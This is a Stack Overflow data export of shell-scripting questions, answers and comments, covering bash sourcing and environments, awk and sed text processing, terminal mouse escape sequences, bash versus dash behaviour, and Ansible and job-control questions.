has body: When you run your script it creates an entire environment for that script, including copies of any variables from the parent environment, and you can change those - but your changes only happen in your script's environment, and they all evaporate when it ends. The parent environment is not changed. You CANNOT change the parent environment from a child environment. If you want a script to call code from another file to change a value in that script, it has to run that code in the current environment, NOT as a child. That means you can't run another script to alter values in your current script directly, but there are some options. source the other script "sourcing" code explicitly mean running it in the current environment with a special syntax, prefixing it with a standalone dot or the word "source". An example: $: cat parent #! bash export x=1 echo "parent initial x: '$x'" echo calling child as subshell script: ./child # creates child environment, can't alter parent value echo "parent x after subcall: '$x'" echo calling child as sourced code: . child # runs in parent environment, has direct access to value echo "parent x after sourced: '$x'" $: cat child #! bash echo "initial child x: '$x'" ((x++)) echo "child x after increment: '$x'" $: ./parent parent initial x: '1' calling child as subshell script: initial child x: '1' child x after increment: '2' parent x after subcall: '1' calling child as sourced code: initial child x: '1' child x after increment: '2' parent x after sourced: '2' This is really just reading the child file into the current environment and running the commands as if they had been a part of the script that is "sourcing" that code. create a function Running a script creates a separate child environment, but a function (by default) doesn't. You must define a function in the environment where you want it to run, though. $: cat func #! bash inc() { echo "initial func x: '$x'" ((x++)) echo "func x after increment: '$x'" } export x=1 echo "parent initi…
score: 0
has comment: http://stackoverflow.com/comment/135540564
answers question: http://stackoverflow.com/q/76881285
type: Answer

http://stackoverflow.com/a/77410870
upvote count: 2
has body: The documentation you already pointed out is quite extensive and include all the info you need https://invisible-island.net/xterm/ctlseqs/ctlseqs.html I mainly tried the hard way to collect all the info about mouse events. I made a script to test different terminals and different escape sequences: In the end the documentation you already found in https://invisible-island.net/xterm/ctlseqs/ctlseqs.html I recently made a Terminal Emulator using pyTermTk and I had to deal with the different terminal sequences related to the mouse input; What I found so far is that there are 2+ ways the terminal return the mouse events Those are the main sequences used to enable the mouse tracking: "\033[?1000h" # Send Mouse X & Y on button press and release. # Report the Mouse [Press/Release,Wheel] events "\033[?1002h" # Use Cell Motion Mouse Tracking, xterm. # Report the Mouse [Press/Release,Wheel,Drag] events "\033[?1003h" # Use All Motion Mouse Tracking, xterm. # Report the Mouse [Press/Release,Wheel,Drag,Move] events Those sequences are used to define the format the tracking is returned: (Note: The UTF-8 Mode seems enabled by default) https://invisible-island.net/xterm/ctlseqs/ctlseqs.html#h3-Extended-coordinates "\033[?1005h" # Enable UTF-8 Mouse Mode, xterm. i.e. '\x1b[MC\x95(' UTF-8 (1005) This enables UTF-8 encoding for Cx and Cy under all tracking modes, expanding the maximum encodable position from 223 to 2015. For positions less than 95, the resulting output is identical under both modes. Under extended mouse mode, positions greater than 95 generate "extra" bytes which will confuse applications which do not treat their input as a UTF-8 stream. Likewise, Cb will be UTF-8 encoded, to reduce confusion with wheel mouse events. Under normal mouse mode, positions outside (160,94) result in byte pairs which can be interpreted as a single UTF-8 character; applications which do treat their input as UTF-8 will almost certainly be confused unless extended mouse mode is active. This sch…
answers question: http://stackoverflow.com/q/76805544
type: Answer
downvote count: 0
score: 2

http://stackoverflow.com/comment/135262988
score: 0
has text: Citing [`man execve`](https://man7.org/linux/man-pages/man2/execve.2.html): "On success, `execve()` does not return, on error -1 is returned and `errno` is set to indicate the error." If the program does not exist or cannot be executed you can check `errno` and print an appropriate error message from the child process. Of course this requires to execute your command (`vsvdvq`) directly instead of ececuting `/bin/sh` and passing the command as an argument. Currently your code does not *implement* a (simple) shell but runs an existing shell.
comment on: http://stackoverflow.com/q/76722912
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/135342550
comment on: http://stackoverflow.com/q/76770023
type: Comment
has text: @Shawn - thanks for response, yes I have read it somewhere too, do you think cut this in floating to num and compare would be the good idea?
score: 0
type: QuestionComment

http://stackoverflow.com/a/76877942
type: Answer
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/76877760
has body: Using any awk: $ awk 'NR==1{sub(/-/,"")} {printf "%s%s", sep, $0; sep=" "} END{print ""}' file the quick brown - fox jumps over - the lazy dog
upvote count: 1

http://stackoverflow.com/q/76715818
tagged with: pbrun
linked to: http://stackoverflow.com/q/23662020
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/135251736
has comment: http://stackoverflow.com/comment/135251712
tagged with: expect
has body: I want to run the pbrun command to login and remove some files in the server but when using the below command pbrun command asking password, is there any way we can pass password also? #!/usr/bin/expect -f pbrun ehuid expect -exact "Password: " send -- "password" expect {\$\s*} { interact } the above script not working and expect key not found issue coming
tagged with: sh
score: 0
answer count: 0
tagged with: shell
has comment: http://stackoverflow.com/comment/135251706
tagged with: linux
has title: run pbrun command with password in shell script
type: Question
duplicate of: http://stackoverflow.com/q/23662020

http://stackoverflow.com/comment/135458480
type: Comment
score: 0
has text: Hi @markalex - it shows me echo and then value on the Jenkins console. I want this to get executed in silent mode.
type: QuestionComment
comment on: http://stackoverflow.com/q/76836431

http://stackoverflow.com/q/76763104
tagged with: bash
type: UnansweredQuestion
favorite count: 0
tagged with: github-actions
downvote count: 1
has comment: http://stackoverflow.com/comment/135330493
has comment: http://stackoverflow.com/comment/135330615
has answer: http://stackoverflow.com/a/76763296
has comment: http://stackoverflow.com/comment/135330761
type: Question
has comment: http://stackoverflow.com/comment/135330478
has comment: http://stackoverflow.com/comment/135330573
has body: If I run this command in a shell terminal A="feature/test-slash" echo ${A//\//-} it returns feature-test-slash But if I run echo ${feature/test-slash//\//-} it returns an empty string. How can I do it in one line? related question
has comment: http://stackoverflow.com/comment/135330594
tagged with: sh
has title: how to do slash substitution in shell in one line?
has answer: http://stackoverflow.com/a/76763183
answer count: 2
score: -1
upvote count: 0
tagged with: shell

http://stackoverflow.com/comment/135291035
score: 0
has text: Hint: https://www.gnu.org/software/bash/manual/html_node/Bash-Variables.html#index-RANDOM + shell arithmetic.
type: QuestionComment
comment on: http://stackoverflow.com/q/76739629
type: Comment

http://stackoverflow.com/comment/135439945
type: Comment
has text: `diskusb=10; limit=; disusdpercent=$(( diskusb * 100 / $limit))` Will show the same error. because the `$limit` variable is empty.
comment on: http://stackoverflow.com/q/76825948
score: 1
type: QuestionComment

http://stackoverflow.com/comment/135349863
type: QuestionComment
score: 0
type: Comment
has text: @Barmar can you share the command
comment on: http://stackoverflow.com/q/76774173

http://stackoverflow.com/a/76786923
answers question: http://stackoverflow.com/q/76785108
has comment: http://stackoverflow.com/comment/135372193
upvote count: 1
has body: Try this Shellcheck-clean pure Bash code: #! /bin/bash -p Array1=(1 2 3 4 5) Array2=(6 7 8 9 10) while read -r val || -n $val ; do for arr in Array1 Array2; do aref="${arr}[@]" for elem in "${!aref}"; do if $elem == "$val" ; then printf '%s %s\n' "$val" "$arr" break fi done done done <file This should work on any non-ancient version of Bash. (I tested it with Bash 3.2 (released in 2006).) The || -n $val is to support input files that don't have the last line properly terminated. See the My text files are broken! They lack their final newlines! section of BashFAQ/001 (How can I read a file (data stream, variable) line-by-line (and/or field-by-field)?). See What does "${!var}" mean in shell script? for an explanation of ${!aref}. echo doesn't work reliably for variable data so I used printf to produce the output. See the accepted, and excellent, answer to Why is printf better than echo?.
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/135371968
type: Answer
has comment: http://stackoverflow.com/comment/135372216

http://stackoverflow.com/a/76873884
upvote count: 1
has comment: http://stackoverflow.com/comment/135727615
downvote count: 0
answers question: http://stackoverflow.com/q/76868047
has body: the days of the month do not stop at day four. In fact, every single day between June 1st and August 31st is considered. You could use the date command to format a date. It also accepts relative date descriptions like + 1 day. That said, you can setup start date and end date variables, then add one day to the start date in a loop until the end date is reached. start='2003-06-01'; end='2003-08-31' while next="$(date +%F -d "$start + 1 day")"; test "$start" != "$end" do echo cdo sub "TOTAL_summer_$next.nc" "TOTAL_summer_$start.nc" "RAIN_summer_$start.nc" start="$next" done cdo sub TOTAL_summer_2003-06-02.nc TOTAL_summer_2003-06-01.nc RAIN_summer_2003-06-01.nc cdo sub TOTAL_summer_2003-06-03.nc TOTAL_summer_2003-06-02.nc RAIN_summer_2003-06-02.nc cdo sub TOTAL_summer_2003-06-04.nc TOTAL_summer_2003-06-03.nc RAIN_summer_2003-06-03.nc cdo sub TOTAL_summer_2003-06-05.nc TOTAL_summer_2003-06-04.nc RAIN_summer_2003-06-04.nc : cdo sub TOTAL_summer_2003-08-28.nc TOTAL_summer_2003-08-27.nc RAIN_summer_2003-08-27.nc cdo sub TOTAL_summer_2003-08-29.nc TOTAL_summer_2003-08-28.nc RAIN_summer_2003-08-28.nc cdo sub TOTAL_summer_2003-08-30.nc TOTAL_summer_2003-08-29.nc RAIN_summer_2003-08-29.nc cdo sub TOTAL_summer_2003-08-31.nc TOTAL_summer_2003-08-30.nc RAIN_summer_2003-08-30.nc Alternatively, you can use the same technique while iterating over the files directly. Assuming that files TOTAL_summer_2003-06-01.nc through TOTAL_summer_2003-08-30.nc are present: for file in TOTAL_summer*.nc do day="${file%.nc}"; day="${day##*_}"; tom="$(date +%F -d "$day + 1 day")" echo cdo sub "TOTAL_summer_$tom.nc" "$file" "RAIN_summer_$day.nc" done cdo sub TOTAL_summer_2003-06-02.nc TOTAL_summer_2003-06-01.nc RAIN_summer_2003-06-01.nc cdo sub TOTAL_summer_2003-06-03.nc TOTAL_summer_2003-06-02.nc RAIN_summer_2003-06-02.nc cdo sub TOTAL_summer_2003-06-04.nc TOTAL_summer_2003-06-03.nc RAIN_summer_2003-06-03.nc cdo sub TOTAL_summer_2003-06-05.nc TOTAL_summer_2003-06-04.nc RAIN_summer_2003-06-04.nc : cdo …
score: 1
type: Answer

http://stackoverflow.com/comment/135304691
has text: You should mention that requires GNU sed for `-i` and since you need GNU sed you could add `-E` so you don't need some of the backslashes in your regexp and you could add a word boundary so you don't match on `Mr` mid-word - `sed -Ei "s/\<Mr\s+(\w+)/...`
score: 2
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76747486

http://stackoverflow.com/comment/135361918
comment on: http://stackoverflow.com/q/76781297
has text: An example of one of the servers in this string is denelli-01d.example.com (where this d symbolises DEV) and also denelli-01p.example.com (where the p symbolises PROD).
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135377993
type: Comment
comment on: http://stackoverflow.com/q/76790718
score: 1
type: QuestionComment
has text: What you should do is implement an API that returns the information you want in JSON format.

http://stackoverflow.com/comment/135413211
type: Comment
score: 1
has text: the config file might have CRLF line endings
comment on: http://stackoverflow.com/q/76810973
type: QuestionComment

http://stackoverflow.com/q/76879657
favorite count: 0
has answer: http://stackoverflow.com/a/76879680
has comment: http://stackoverflow.com/comment/135531749
type: Question
tagged with: shell
upvote count: 0
type: UnansweredQuestion
has body: I have a file like below Name: Country name Line1 Line2 In this line is the word I want to find Line3 Line4 ...... LineN Name: Country name Line1 Line2 Line3 Line4 In this line is the word I want to find ...... LineN More sections like above.... Number of lines is variable in each section... I want to find a word (I can do it using grep) in any of the lines but after that, I need to go up and get the "Name: Country name" too, I have try to look for solutions but haven't had luck, any advise? I have only tried grep and grep -AN or -BN but since number of lines variable and the match can be in any line, it's not easy to find the country name
has title: Find a word in file and base on it, look up/above to find another (bash/shell)
answer count: 1
score: -2
downvote count: 2
tagged with: bash

http://stackoverflow.com/comment/135263475
score: 0
has text: Your problem is a bit under-specified, I am afraid: what if there is a `base_dir/sub_dir1/sub_dir1/sub_dir1` directory? Shall `base_dir/*/sub_dir1` match `base_dir/sub_dir1`? or `base_dir/sub_dir1/sub_dir1`? or `base_dir/sub_dir1/sub_dir1/sub_dir1`? All of them? Some of them? Note that this change from your original question is quite significant. Consider, maybe, asking a new question with a complete, minimal and verifiable example.
comment on: http://stackoverflow.com/a/76720707
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135350337
type: Comment
type: QuestionComment
has text: Why double backslashes for the path to `python.py`, but single backslashes for `__main__.py`?
score: 0
comment on: http://stackoverflow.com/q/76721494

http://stackoverflow.com/comment/135378102
comment on: http://stackoverflow.com/q/76790718
has text: Actually, got the answer..used find command to get the files and store it in a file. Then replace the urls using find and replace from the output file. Thanks!
type: QuestionComment
type: Comment
score: 1

http://stackoverflow.com/comment/135535858
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76855717
score: 0
has text: Technically speaking you're not passing anything from the child process to the parent, you're just displaying a string to stdout, that's it. Now, regarding `setenv()` if it is open-source, you can read the code and see what it is setting

http://stackoverflow.com/comment/135501454
comment on: http://stackoverflow.com/a/76856183
type: Comment
type: AnswerComment
score: 0
has text: You were dead right! That was the trick. Very first line in my .sed file had this path. It's a bug on my end to fix, but now I know. What a wild red-herring

http://stackoverflow.com/comment/135311238
type: QuestionComment
comment on: http://stackoverflow.com/q/76751024
has text: Why do you use find, if you already know the full path to the logfile?
score: 1
type: Comment

http://stackoverflow.com/comment/135473617
comment on: http://stackoverflow.com/a/76845841
has text: I see, then yes you should be fine as long as both children don't try to write to/read from the same file.
score: 1
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135458123
comment on: http://stackoverflow.com/q/76836431
score: 0
has text: You mean hiding command itself? Because with `returnStdout: true` no output will be shown in console by itself.
type: QuestionComment
type: Comment

http://stackoverflow.com/a/76726463
downvote count: 0
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/76725490
has body: awk is another option. You can simply read the first file first, store the contents in an array, then read each subsequent file (in the order specified as input) and append a tab and the last column from each to the lines in your array, then using the END rule, output your array. For example you can do: awk -F"\t" ' NR == FNR { a[++n] = $0; next} # save 1st file in a[] { i++; a[i] = a[i] "\t" $NF; if (i == n) i = 0 } # append last column END { for (i=1; i<=n; i++) print a[i] } # output a[] ' file1.tsv file2.tsv file3.tsv Example Use/Output With your data tab-separated (presuming from the .tsv extension) in file1.tsv, file2.tsv and file3.tsv, you can simply paste the solution above at the command-line in the directory containing the files and receive: $ awk -F"\t" ' > NR == FNR { a[++n] = $0; next} # save 1st file in a[] > { i++; a[i] = a[i] "\t" $NF; if (i == n) i = 0 } # append last column > END { for (i=1; i<=n; i++) print a[i] } # output a[] > ' file1.tsv file2.tsv file3.tsv A1 B1 1 5 0 A2 B2 9 8 1 A3 B3 8 4 7 You can redirect to a new file just by adding > newfile.tsv. Creating an awk Script You can place the awk commands in an awk-script file and execute it just like you would any other script. For example you can rewrite the above in the script file name append_last.awk and make it executable with chmod +x append_last.awk. You can move setting the field-separator FS into the BEGIN rule and expand the comments as follows: #!/bin/awk -f # BEGIN rule BEGIN { FS = "\t" } # set tab a field-separator # first rule NR == FNR { # if first file a[++n] = $0 # store records in indexed array a[] next } # second rule { i++ # increment counter a[i] = a[i] "\t" $NF # append tab and last column to a[i] if (i == n) # test if i equals last line in file i = 0 # reset to 0 } # END rule END { for (i=1; i<=n; i++) # loop over each array element print a[i] # outputting element } Now you run it just like any other script providing the input files as arguments, e.g. $ ./append_last.awk…
type: Answer

http://stackoverflow.com/comment/135365316
has text: The OP is trying to only redirect the trace itself, though, not all of stderr; that's a job for `BASH_XTRACEFD`.
score: 1
comment on: http://stackoverflow.com/a/76783356
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135467533
has text: what is your `awk` version (ie, what is the output from `awk --version`)?
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76841295

http://stackoverflow.com/comment/135489362
comment on: http://stackoverflow.com/q/76854869
score: 0
type: QuestionComment
has text: I'd also think about writing single executable that does all this work. Use a language that has a high-level library like Python's psutils and it won't be all that much trouble. Make it a service that can run in the background and then you don't even pay the cost to start new copies over and over. (A lot of the commands are also just reading procfs under the hood; starting a new executable to read a procfs file when you could just read that file yourself is silly).
type: Comment

http://stackoverflow.com/a/76728587
downvote count: 0
type: Answer
has body: Figured out, I should use "$expiry"
score: 2
answers question: http://stackoverflow.com/q/76728488
upvote count: 2

http://stackoverflow.com/q/76785187
tagged with: bash
type: Question
has title: Unexpected difference between bash and dash with interpretation of newlines in command substitution
accepted answer: http://stackoverflow.com/a/76785210
has comment: http://stackoverflow.com/comment/135375163
has comment: http://stackoverflow.com/comment/135368958
linked to: http://stackoverflow.com/q/8467424
has comment: http://stackoverflow.com/comment/135379706
has comment: http://stackoverflow.com/comment/135378992
has comment: http://stackoverflow.com/comment/135381185
duplicate of: http://stackoverflow.com/q/38021348
tagged with: sh
has comment: http://stackoverflow.com/comment/135381334
duplicate of: http://stackoverflow.com/q/8467424
score: 0
linked to: http://stackoverflow.com/q/38021348
tagged with: shell
answer count: 1
type: AnsweredQuestion
has body: I've run across a strange difference in behaviour between bash and dash, where quoted command substitution has some differences with newlines. I'm not sure if this behaviour is intentional or not, but I suspect it's not because both bash and dash are posix compliant and this seems fairly core behaviour. To illustrate, first I create a data file: $ echo '"\n"' > data.txt To confirm what bytes are in the file, I can run: $ xxd data.dat 00000000: 225c 6e22 0a "\n". Then, I run the following bash script: #!/bin/bash data=$(cat data.txt) echo "$data" The output is: $ ./test.bash "\n" Then I run the following dash script. It's the same as the bash script, but runs in dash instead of bash: #!/bin/dash data=$(cat data.txt) echo "$data" The output is: $ ./test.dash " " I thought that the behaviour should be the same between the two different shells, but it's not. Does anyone know why the behaviour differs? The version of dash I'm running is: $ dpkg -s dash Package: dash Essential: yes Status: install ok installed Priority: required Section: shells Installed-Size: 199 Maintainer: Andrej Shadura <andrewsh@debian.org> Architecture: arm64 Multi-Arch: foreign Version: 0.5.12-2 Depends: debianutils (>= 5.6-0.1), dpkg (>= 1.19.1) Pre-Depends: libc6 (>= 2.34) Description: POSIX-compliant shell The Debian Almquist Shell (dash) is a POSIX-compliant shell derived from ash. . Since it executes scripts faster than bash, and has fewer library dependencies (making it more robust against software or hardware failures), it is used as the default system shell on Debian systems. Homepage: http://gondor.apana.org.au/~herbert/dash/ The version of bash I'm running is: $ bash --version GNU bash, version 5.2.15(1)-release (aarch64-unknown-linux-gnu) Copyright (C) 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html> This is free software; you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.
has comment: http://stackoverflow.com/comment/135381689
has answer: http://stackoverflow.com/a/76785210

http://stackoverflow.com/a/76770107
has body: Now your trace shows what is going on. You would get the same error, if you would have written eval "${optionLcl}=foo" The problem here is that optionLcl expands to var1, and you have declared var1 to be integer, which means that the right hand side is evaluated in numeric context. In this case, an assignment var1=foo is interpreted (since foo is obviously not a number) as var=$foo This is similar to echo $((a+b)), which is interpreted as echo $(($a + $b)). But there is no variable named foo (or, in your case, no variable named This, because in your original program, the assigned value is This is not an integer). Because you have also turned on the unset option, this is killing you here. The question remains, why the || echo ... branch is not taken after eval stumbles over the error. Aftet all, a simple syntax error such as eval ')' || echo error does display error (in addition to the error message from eval). A bit of experimenting shows that it seems that assignment in numeric context behaves differently from what we would expect. Example: eval "abc=$((1+))" || echo error does ONLY show the syntax error, but does not display error. The assignment or parameter substitution seems to be the crucial point: eval ": $((1+))" || echo error # Param expansion. Does NOT print "error" eval "((1+))" || echo error # No expansion. DOES print "error" Whether this difference in behaviour is some obscure, but documented feature of bash, or simply a bug, is something I don't know. WORKAROUND Since you can not catch the error of assigning something non-numeric to a numeric variable (removing unset would simply let this error slip undetected, and having unset aborts your program), my suggestion is to separate the check from the actual assignment. You could do a if eval "( ${optionLcl}='${valueLcl}' )" then eval "${optionLcl}='${valueLcl}'" else echo "Failed to set '${optionLcl}'." fi The first eval uses a subshell, so an error is not propagated upwards, except via the exit code of th…
accepted answer of: http://stackoverflow.com/q/76769065
type: AcceptedAnswer
downvote count: 0
score: 1
upvote count: 1
type: Answer
answers question: http://stackoverflow.com/q/76769065

http://stackoverflow.com/comment/135500974
type: QuestionComment
has text: @Freeman - already tried that, see above
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76855842

http://stackoverflow.com/a/76788735
has body: The _1 will be part of your variable this way. The solution is to explicitly tell bash what the variable is: for i in {1..10}; do echo '------------------' echo P${i}_1.fq.gz echo P${i}_2.fq.gz done
answers question: http://stackoverflow.com/q/76788674
accepted answer of: http://stackoverflow.com/q/76788674
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/135374656
type: AcceptedAnswer
downvote count: 0
type: Answer

http://stackoverflow.com/a/76778851
answers question: http://stackoverflow.com/q/76776995
has body: As @Barmar already explained you could use {01..30} in bash which will expand to the complete number sequence, so a working script could be as follows: for HOSTID in {01..30} do ssh user@machine$HOSTID "cat /data/restart.sh" done But if you seriously want to (remote) manage your 30 hosts I would take a good look at Ansible and not try to reinvent the wheel. Ansible also uses SSH so you don't need any other agent on the servers, only install a control node from which you manage them. You can now also run tasks in parallel and keep the results better apart. Not to mention the huge community that continues to develop the possibilities of Ansible.
score: 0
type: Answer

http://stackoverflow.com/q/76818451
answer count: 1
has comment: http://stackoverflow.com/comment/135426752
has title: Ansible playbook output is coming in stderr block
score: -1
has answer: http://stackoverflow.com/a/76823976
tagged with: ansible
favorite count: 0
downvote count: 1
has body: I am trying to run ansible playbook which is running shell module. The module is having a block of commands. - name: Run {{ action }} to {{ targetenv }} shell: | cd "{{ env_select[env_param].path }}/Workspace/linuxtest"; source env/bin/activate; export HOME="{{ env_select[env_param].path }}"; developer init "{{ deployment_environment }}" pa na na; developer deploy manifest all abc_service --key {{ key }} --action {{ action }} --target_env {{ targetenv }}; when: action == "start" or action == "stop" This is running successfully. But the playbook output is failing. The command output "developer deploy manifest all abc_service --key {{ key }} --action {{ action }} --target_env {{ targetenv }};" is coming under "stderr". "stdout" and "stdout_lines" is showing different data. "stdout": "deployables.all\n{'deployable': ['core_services', 'ui', 'abc_service', 'abc_deploy']}\n0\n0\n0\n0\n0\n0\n0\n0\n0\n0\n0\n0\n0\n0\n0\n0", "stdout_lines": [ "deployables.all", "{'deployable': ['core_services', 'ui', 'abc_service', 'abc_deploy']}", "0", "0", "0", "0", "0", "0", "0", "0", "0", "0", "0", "0", "0", "0", "0", "0" ] } What is the issue with the play. How can I fix this?
type: Question
upvote count: 0
tagged with: shell
type: UnansweredQuestion

http://stackoverflow.com/comment/135307124
has text: This also works for `setenv` it sets/changes the env var of the main shell process even if it is ran in the pipeline that is specified to run in background, my question is how they deal with that, do they actually block the terminal for the amount of time i takes for the commandto run or is there other way.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76749128
type: QuestionComment

http://stackoverflow.com/comment/135479349
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76845788
score: 0
has text: It is in general easier to expect the command as an array of the individual words than as a string. Also you are saying in the text of your question, that you need a bash _script_ for this purpose, but in your example code, you are using a bash _function_. Make up your mind, what you want to have; in particular when we talk about arrays, the difference matters. Finally, why aren't you ever using the frist argument in your function?

http://stackoverflow.com/comment/135341786
score: 0
has text: Not completely. Where is the output from `set -x`?
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76769065

azure-databricks
tags question: http://stackoverflow.com/q/76739984
type: Tag
tag name: azure-databricks

http://stackoverflow.com/comment/135314086
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76752760
score: 0
has text: BTW, consider the use of the `BASH_ENV` environment variable to process on startup of a non-interactive `bash` a configuration file which contains your _conda_ settings (or whatever you need). See [here](https://phoenixnap.com/kb/docker-environment-variables) how to set environment variables with docker.

http://stackoverflow.com/comment/135441938
type: QuestionComment
type: Comment
has text: How to provide command line option for limit
score: 0
comment on: http://stackoverflow.com/q/76825948

http://stackoverflow.com/a/76792001
answers question: http://stackoverflow.com/q/76789602
has body: In GNU Make, we can do this: butlast = $(filter-out $(lastword $(1)),$(1)) numbers=$(shell seq 1 10) $(info $$(numbers) == $(numbers)) $(info $$(call butlast,$$(numbers)) == $(call butlast,$(numbers))) .PHONY: all all: echo "hey" Run: $ make $(numbers) == 1 2 3 4 5 6 7 8 9 10 $(call butlast,$(numbers)) == 1 2 3 4 5 6 7 8 9 echo "hey" hey Caveat: butlast depends on the items in the list being unique. So its name tells a lie. It uses filter-out, which just removes all matching items. In the above example we are filtering out 10 which occurs only once. If 10 occurred in other places in the list, those would be gone too, but it's not a problem with the output of seq.
type: Answer
score: 0

http://stackoverflow.com/comment/135421538
score: 0
type: Comment
comment on: http://stackoverflow.com/q/76806494
type: QuestionComment
has text: The thing is an associative array. The use case is to map file extensions to directory names. Mapping strings to other strings is what associative arrays do, so look up their syntax and you'll see how they work. If there's an aspect that isn't obvious after you've done the initial research, explain how/why it's unclear and I'll follow up.

http://stackoverflow.com/comment/136210042
comment on: http://stackoverflow.com/a/76811134
type: Comment
type: AnswerComment
score: 1
has text: the above command works, move --verbose flag to the last, I am running on linux though but it worked `bin/neo4j-admin database dump neo4j --to-path=/home/ubuntu`

http://stackoverflow.com/comment/135483432
comment on: http://stackoverflow.com/q/76850146
score: 0
type: QuestionComment
has text: @Fravadona: Just found that if I do in zsh a `setopt noposixcd`, a `cd ''` keeps me in the current directory (despite the existence of CDPATH). I find it interesting that I have to turn **off** _posixcd_ to achieve the behaviour which you found documented in the posix standard..... Perhaps it would now be worth if you would put the effective of your research as an answer?
type: Comment

devops
tags question: http://stackoverflow.com/q/76753350
type: Tag
tag name: devops
tags question: http://stackoverflow.com/q/77039347
tags question: http://stackoverflow.com/q/77574351
tags question: http://stackoverflow.com/q/78075819

http://stackoverflow.com/q/76749128
linked to: http://stackoverflow.com/q/76741997
has comment: http://stackoverflow.com/comment/135307070
score: 0
has comment: http://stackoverflow.com/comment/135307128
type: Question
has comment: http://stackoverflow.com/comment/135306935
answer count: 0
has comment: http://stackoverflow.com/comment/135306916
has comment: http://stackoverflow.com/comment/135307106
has title: How to run shell builtin commands (that must change state of shell process) in background
tagged with: job-control
type: UnansweredQuestion
tagged with: http://stackoverflow.com/tag/c
tagged with: process
has comment: http://stackoverflow.com/comment/135307023
tagged with: built-in
has comment: http://stackoverflow.com/comment/135306871
has body: I have asked a similar question but after revisiting some of my code I remembered from where the main issue stemmed from, here is the link to the old question. How to implement built-in commands for my C shell with job control that change the state or environment of the shell process, such as chdir, setenv, exit... when they are specified to run in background by the user. Meaning these commands should not block terminal input when being executed as is the nature of background job processes. One way to achieve executing built-in commands to not block the terminal input would be to fork() the shell process and execute them there, but this won't change/affect the main shell process instead the child would get its state changed which is not desired behaviour. Although this approach is applicable to non-state main process changing built-in commands. My approach to this originally was to: have a separate routine prior to forking this routine would first dup() stdin, stdout, stderr streams now dup2() pipe streams then check if any of the built-in commands that change the state should get executed if yes, parse user redirections if any and built-in command/function is executed blocking the terminal input...! at the end no matter if the command was executed or not we restore the saved default (terminal) streams stdin, stdout, stderr with dup2() calls. function will have to return some kind of integer for status and in case it didn't run a negative integer which will be checked later to determine if we need to fork() to run the command or maybe a control integer/bool ptr as additional parameter to the function. Resolving the redirections could be done prior and then reuse them in case we need to fork but this is not the concern, anyways this approach leads to terminal input being blocked, is there any workaround? Or is there just a better way of doing things like this?
has comment: http://stackoverflow.com/comment/135307124
has comment: http://stackoverflow.com/comment/135306881
has comment: http://stackoverflow.com/comment/135307146
has comment: http://stackoverflow.com/comment/135311767
tagged with: shell
has comment: http://stackoverflow.com/comment/135307131
has comment: http://stackoverflow.com/comment/135306983
has comment: http://stackoverflow.com/comment/135306965

http://stackoverflow.com/comment/135418166
has text: If you copy-paste the contents of your script into your terminal, you'll see you get the same result as when running the script.
comment on: http://stackoverflow.com/q/76813826
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/a/76817477
score: 0
answers question: http://stackoverflow.com/q/76817129
type: Answer
has body: If "until starting with line "---Failed backups---" means delete from the start but stop and do not delete this line, (and the same for "---Summary notification report---"), then you can do it fairly easily with awk just by toggling a flag that controls whether you delete (skip) printing the record. For example you can do: awk ' # set del flag 1, skip to next record (line) /^[[:space:]]*---Successful backups---/ { del=1; next } # set del flag 0 /^[[:space:]]*---Failed backups---/ { del=0 } # set del flag 1, skip to next record (line) /^[[:space:]]*---Unresolved clients---/ { del=1; next } # set del flag 0 /^[[:space:]]*---Summary notification report---$/ { del=0 } # if del set, skip printing record del {next} # otherwise print {print} ' dat/log Where you simply condition each rule (the commands between { ... }) with a regular expression to match your start and stop lines. The del flag controls whether the line will be skipped (not printed). You turn the del flag on when you match a record containing your start-rule (not printing that line) and your turn the del flag off when you reach your end rule (outputting that record). You can combine the on and off rules using an || (OR) condition between the regular expressions -- but that makes it a bit less readable. Example Use/Output With your sample data in the file dat/log you can simply paste the command at the prompt while in a directory (or providing the complete path to) your data file, e.g.: $ awk ' > # set del flag 1, skip to next record (line) > /^[[:space:]]*---Successful backups---/ { del=1; next } > # set del flag 0 > /^[[:space:]]*---Failed backups---/ { del=0 } > # set del flag 1, skip to next record (line) > /^[[:space:]]*---Unresolved clients---/ { del=1; next } > # set del flag 0 > /^[[:space:]]*---Summary notification report---$/ { del=0 } > # if del set, skip printing record > del {next} > # otherwise print > {print} > ' dat/log ---Summary notification report--- Policy name:xyz Workflow name:abc1, Workf…

http://stackoverflow.com/comment/135479485
score: 1
type: QuestionComment
has text: Linux does not support the idea of exported variables (i.e. environment variables) to be **shared** between two processes. Environment variables are **inherited** from parent to child, but once the child process has started, the two insances of the variables are independent. Admittedly, the concept of have "shared variables" could be an interesting synchronization tool, but you have to live with what you got. Think of having shared _data_ between processes. This could be for instance implemented by a database, a file or shared memory.
type: Comment
comment on: http://stackoverflow.com/q/76845626

http://stackoverflow.com/comment/135298161
type: Comment
comment on: http://stackoverflow.com/q/76743009
score: 0
has text: should a file called `.foo` receive a hidden hash called `..foo.sha256` ?
type: QuestionComment

http://stackoverflow.com/q/76809700
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/76810427
has comment: http://stackoverflow.com/comment/135411791
has comment: http://stackoverflow.com/comment/135410919
accepted answer: http://stackoverflow.com/a/76810427
tagged with: regex
tagged with: command-line
score: 0
type: Question
tagged with: shell
has title: Group in regular expression of find command not working
answer count: 1
